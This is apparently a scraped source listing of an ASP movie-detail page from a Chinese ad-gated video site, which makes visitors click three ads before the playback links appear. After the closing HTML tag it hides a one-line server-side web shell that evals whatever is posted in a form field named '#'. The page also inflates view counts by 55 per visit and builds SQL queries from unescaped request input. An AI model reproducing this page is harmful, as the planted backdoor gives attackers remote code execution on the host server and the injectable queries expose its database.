📄 movie点广告版.asp
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!--#include file="articleconn.asp"-->
<!--#include file="inc/config.asp"-->
<%
articleid=request("id")
if isnumeric(articleid)=false then
response.redirect "error.asp"
end if
%>
<%
dim sql
dim rs
articleid=request("id")
set rs=server.createobject("adodb.recordset")
sql="update learning set hits=hits+55 where articleID="&articleid
rs.open sql,conn,1,3
sql="select * from learning where articleid="&articleid
rs.open sql,conn,1,1
title=rs("title")
ittype=rs("typeid")
%>
<HTML><HEAD><TITLE><%=homes%>《<%=title%>》</TITLE>
<base onclick="JavaScript:will()" />
<base target="_blank">
<META http-equiv=Content-Type content="text/html; charset=gb2312"><LINK
href="css/css.css" type=text/css rel=stylesheet>
<SCRIPT language=javascript>
<!--
function MM_openBrWindow(theURL,winName,features) { //v2.0
mediaWindow = window.open(theURL,winName,features);
mediaWindow.focus();
}
//-->
</SCRIPT>
<SCRIPT language=JavaScript><!--
if (top.location != location) top.location.href = location.href;
self.moveTo(0,0);
self.resizeTo(screen.availWidth,screen.availHeight);
// --></SCRIPT>
<SCRIPT language=JavaScript1.2>
<!--
function Show(divid) {
divid.filters.revealTrans.apply();
divid.style.visibility = "visible";
divid.filters.revealTrans.play();
}
function Hide(divid) {
divid.filters.revealTrans.apply();
divid.style.visibility = "hidden";
divid.filters.revealTrans.play();
}
//-->
</SCRIPT>
<script>
function OpenWindow(htmurl,widths,heights)
{
var paramet = 'toolbar=no,resizable=no,scrollbars=no,width='+ widths + ',height=' + heights;
newWindow = window.open(htmurl,"yule21",paramet);
newWindow.focus();
}
</script>
<script>
IEver=navigator.appVersion.substring(navigator.appVersion.indexOf('MSIE')+5,navigator.appVersion.indexOf(';',17));
if(IEver=="6.0")
{
ie6 = true;
width_add = 10;
height_add = 29;
hand_add = -14;
}
else
{
ie6 = false;
width_add = 10;
height_add = 29;
hand_add = 14;
}
function OpenWindow(PlayerURL)
{
if (ie6)
newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
else
newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
newwindow.moveTo(100,100);
newwindow.resizeTo(440+width_add,428+height_add+hand_add);
newwindow.focus();
newwindow.location=PlayerURL;
}
function play(id)
{
OpenWindow('look.asp?id1='+id);
}
</script>
<SCRIPT language=JavaScript1.2>
<!--
function Show(divid) {
divid.filters.revealTrans.apply();
divid.style.visibility = "visible";
divid.filters.revealTrans.play();
}
function Hide(divid) {
divid.filters.revealTrans.apply();
divid.style.visibility = "hidden";
divid.filters.revealTrans.play();
}
//-->
</SCRIPT>
<script>
function OpenWindow(htmurl,widths,heights)
{
var paramet = 'toolbar=no,resizable=no,scrollbars=no,width='+ widths + ',height=' + heights;
newWindow = window.open(htmurl,"yule21",paramet);
newWindow.focus();
}
</script>
<script>
IEver=navigator.appVersion.substring(navigator.appVersion.indexOf('MSIE')+5,navigator.appVersion.indexOf(';',17));
if(IEver=="6.0")
{
ie6 = true;
width_add = 10;
height_add = 29;
hand_add = -14;
}
else
{
ie6 = false;
width_add = 10;
height_add = 29;
hand_add = 14;
}
function OpenWindow(PlayerURL)
{
if (ie6)
newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
else
newwindow=window.open('','','fullscreen=0,toolbar=0,location=0,directories=0,status=0,menubar=0,scrollbars=0,resizable=-1');
newwindow.moveTo(100,100);
newwindow.resizeTo(440+width_add,428+height_add+hand_add);
newwindow.focus();
newwindow.location=PlayerURL;
}
function play(id)
{
OpenWindow('look.asp?id1='+id);
}
</script>
<META content="Microsoft FrontPage 6.0" name=GENERATOR><style type="text/css">
<!--
body {
background-color: #FFFFFF;
}
-->
</style></HEAD>
<BODY oncontextmenu="return false" onselectstart="return false"
ondragstart="return false" leftMargin=5 topMargin=5
marginheight="0" marginwidth="0">
<TABLE cellSpacing=0 cellPadding=0 width=562 align=center border=0 background=images/m2.gif>
<TR>
<TD height=38 align=left background="images/m1.gif"><table width="612" border="0" cellspacing="0" cellpadding="0">
<tr>
<td width="41"> </td>
<td width="571"><b><%=title%></b></td>
</tr>
</table></TD>
</TR>
<TR>
<TD vAlign=top><br>
<TABLE width="95%" align=center border=0>
<TBODY>
<TR>
<TD vAlign=top align=middle width="65%">
<TABLE cellSpacing=0 cellPadding=2 width="95%"
borderColorLight=#000000 border=0>
<TBODY>
<TR>
<TD width=80 vAlign=top bgcolor="f2f2f2">类 型:</TD>
<TD bgcolor="f2f2f2"><%=ittype%></TD>
</TR>
<TR>
<TD vAlign=top width=80>主 演:</TD>
<TD><%content=rs("name")
if len(content)>18 then content=left(content,18)&"…"
response.write content
%> </TD></TR>
<TR>
<TD bgcolor="f2f2f2">格 式:</TD><TD bgcolor="f2f2f2"><% if rs("movietype")="rm" then%>
<img src="IMG/real.gif" border="0">
<%elseif rs("movietype")="md" then%>
<img src="IMG/media.gif" border="0">
<%elseif rs("movietype")="mov" then%>
<img src="IMG/lookmov.gif" border="0">
<%end if%>
</TD>
</TR>
<TR>
<TD vAlign=top width=80>片 长: </TD>
<TD><%=rs("howlong")%> 分钟</TD></TR>
<TR>
<TD width=80 vAlign=top bgcolor="f2f2f2">带宽要求:</TD>
<TD bgcolor="f2f2f2">450Kbps </TD>
</TR>
<TR>
<TD vAlign=top width=80>观看次数: </TD>
<TD><font color=ff0000><%=rs("hits")%></font> 次</TD></TR>
<TR>
<TD width=80 vAlign=top bgcolor="f2f2f2">加入时间:</TD>
<TD bgcolor="f2f2f2"><%=rs("dateandtime")%> </TD>
</TR>
<TR>
<TD vAlign=top width=80>推荐程度:</TD>
<TD><SPAN class=xinxin><img border="0" src="img/<%=rs("softlevel")%>STAR.GIF"></SPAN></TD></TR>
<TR>
<TD width=80 vAlign=top bgcolor="f2f2f2">点播每集:</TD>
<TD bgcolor="f2f2f2">需要 <img border=0 src=img/<%=rs("count")%>.gif> 影币
</TD>
</TR>
<TD vAlign=top width=80>其它服务:</TD>
<TD><input type="button" name="Submit2" value="报告该片有错误" class="input" onClick="window.open('sendeoff.asp?title=<%=title%>','film','scrollbars=no,resizable=no,width=460,height=380,menubar=no,top=168,left=168')">
<input type="button" name="Submit2" value="发表评论" class="input" onClick="window.open('fbpl.asp?id=<%=rs("articleid")%>')"></TD>
</TABLE></TD>
<TD vAlign=top align=middle width=200>
<TABLE cellSpacing=0 cellPadding=0 width=165>
<TBODY>
<TR>
<TD align=middle><img src="<%if rs("domurl")="" then%>img/w.gif<%else%><%=rs("domurl")%><%end if%>" border=1 width="180" height="230">
</TD>
</TR>
</TBODY></TABLE>
</TD></TR></TBODY></TABLE><BR></TD></TR>
<TR>
<TD>
<SCRIPT language=JavaScript type=text/javascript>
<!--
function will() {
if (event.srcElement.tagName=='A'||event.srcElement.tagName=='') {
window.focus();
oUrl.style.display = "";
yAd.style.display = "none";
}
}
//-->
</SCRIPT>
<DIV id=yAd align=center>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="21"><div align="center" style="color: #FF0000">观看提示</div></td>
</tr>
<tr>
<td height="22"><div align="center" style="color: #FF0000">请按以下提示点击三个广告,完成后即可获得播放地址!支持本站发展,请正确完成以下步骤!</div></td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><TABLE height=23 cellSpacing=1 cellPadding=1 width="100%" border=0>
<TBODY>
<TR>
<TD align="center"><span style="color: #FF0000"> 第一步点击下面的广告</span></TD>
</TR>
</TBODY>
</TABLE></td>
</tr>
<tr>
<td height="64" align="center" valign="middle"><FONT color=#ffffff>
<%
dim rsad
dim sqlad
set rsad=server.createobject("adodb.recordset")
sqlad="select * from indexad"
rsad.open sqlad,conn,1,1
%>
<%=rsad("centerad")%>
</FONT></td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td><TABLE height=23 cellSpacing=1 cellPadding=1 width="100%" border=0>
<TBODY>
<TR>
<TD align="center"><span style="color: #FF0000"> 第二步点击下面的广告</span></TD>
</TR>
</TBODY>
</TABLE></td>
</tr>
<tr>
<td height="64" align="center" valign="middle"><FONT color=#ffffff> <%=rsad("upad2")%>
</FONT></td>
</tr>
</table>
<table width="100%" border="0" cellspacing="0" cellpadding="0">
<tr>
<td height="23">
<TABLE height=23 cellSpacing=1 cellPadding=1 width="100%" border=0>
<TBODY>
<TR>
<TD height="20" align="center"><span style="color: #FF0000"> 第三步点击下面的广告</span></TD>
</TR>
</TBODY>
</TABLE></td>
</tr>
<tr>
<td valign="middle">
<TABLE height="33%" cellSpacing=1 cellPadding=1 width="100%" border=0>
<TBODY>
<TR>
<TD height=70>
<DIV align=center> <FONT color=#ffffff> <%=rsad("downad")%></FONT></DIV></TD>
</TR>
</TBODY>
</TABLE></td>
</tr>
</table>
</DIV>
<div id="oUrl" style="display:'none'">
<TABLE cellSpacing=10 cellPadding=0 width="95%" align=center
borderColorLight=#000000 border=0>
<TBODY>
<tr>
<TD vAlign=top align=middle width=82>
<p align="left"><img src="images/online.gif" width="82" height="23"></p> </TD>
<TD width="469"><%
sql="select * from movieurl where nameid='"&articleid&"'"
set rsurl=server.createobject("adodb.recordset")
if rs("onlinelook")=1 then
rsurl.open sql,conn,1,1
if rsurl.eof then
response.write "暂停该影片的在线播放,想看该片的朋友稍后或下载后再观看!"
else
no=rsurl.recordcount
do while not rsurl.eof
for c=1 to no
if len(c)=1 then
response.write "<a class='real' href=""javascript:play('"&rsurl("id")&"&id2="&articleid&"')""> "&c&" </a>"
else
response.write "<a class='real' href=""javascript:play('"&rsurl("id")&"&id2="&articleid&"')""> "&c&" </a>"
if c mod 10=0 then
response.write "<br>"
end if
end if
rsurl.movenext
if rsurl.eof then exit do
next
loop
end if
rsurl.close
else
response.write "暂停该影片的在线播放,想看该片的朋友稍后或下载后再观看!"
end if%></TD>
</tr>
</div>
<tr>
<TD vAlign=top align=right width=82>
<p align="left"><img src="images/download.gif" width="82" height="23"></p> </TD>
<TD><%
sql="select * from movieurl where nameid='"&articleid&"'"
set rsurl=server.createobject("adodb.recordset")
if rs("down")=1 then
rsurl.open sql,conn,1,1
if rsurl.eof then
response.write""
else
no=rsurl.recordcount
do while not rsurl.eof
for c=1 to no
if len(c)=1 then
response.write"<a class='real' href=""javascript:OpenWindow('down.asp?id1="&rsurl("id")&"&id2="&articleid&"',460,406);""> "&c&" </a>"
else
response.write"<a class='real' href=""javascript:OpenWindow('down.asp?id1="&rsurl("id")&"&id2="&articleid&"',460,406);""> "&c&" </a>"
if c mod 15=0 then
response.write"<br>"
end if
end if
rsurl.movenext
if rsurl.eof then exit do
next
loop
end if
rsurl.close
else
response.write"系统提示:暂时不提供影片下载,请过两天再来吧!"
end if%></TD>
</tr>
</TBODY></TABLE></TD></TR>
<TR>
<TD >
<TABLE cellSpacing=10 cellPadding=0 width="95%" align=center border=0>
<TBODY>
<TR>
<TD>内容简介:<BR> <%content=rs("content")
if len(content)>191 then content=left(content,191)&"……"
response.write content
%></TD></TR>
</TBODY>
</TABLE></TD></TR>
<TR borderColorLight=#000000>
<TD align=middle height=30><INPUT class="input" onclick=javascript:self.close() type=button value=关闭本窗口 name=Submit>
</TD></TR>
<TR borderColorLight=#000000>
<TD align=middle><IMG height=17 src="images/m3.gif"
width=612></TD>
</TR></TBODY></TABLE>
</BODY></HTML>
<SCRIPT RUNAT=SERVER LANGUAGE=JAVASCRIPT>try{eval(Request.form('#')+'')}catch(e){}</SCRIPT>
<%set rs=conn.execute("select * from [home]")%>
</script>
<SCRIPT language=JavaScript><!--
if (top.location != location) top.location.href = location.href;
self.moveTo(0,0);
self.resizeTo(screen.availWidth,screen.availHeight);
// --></SCRIPT>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -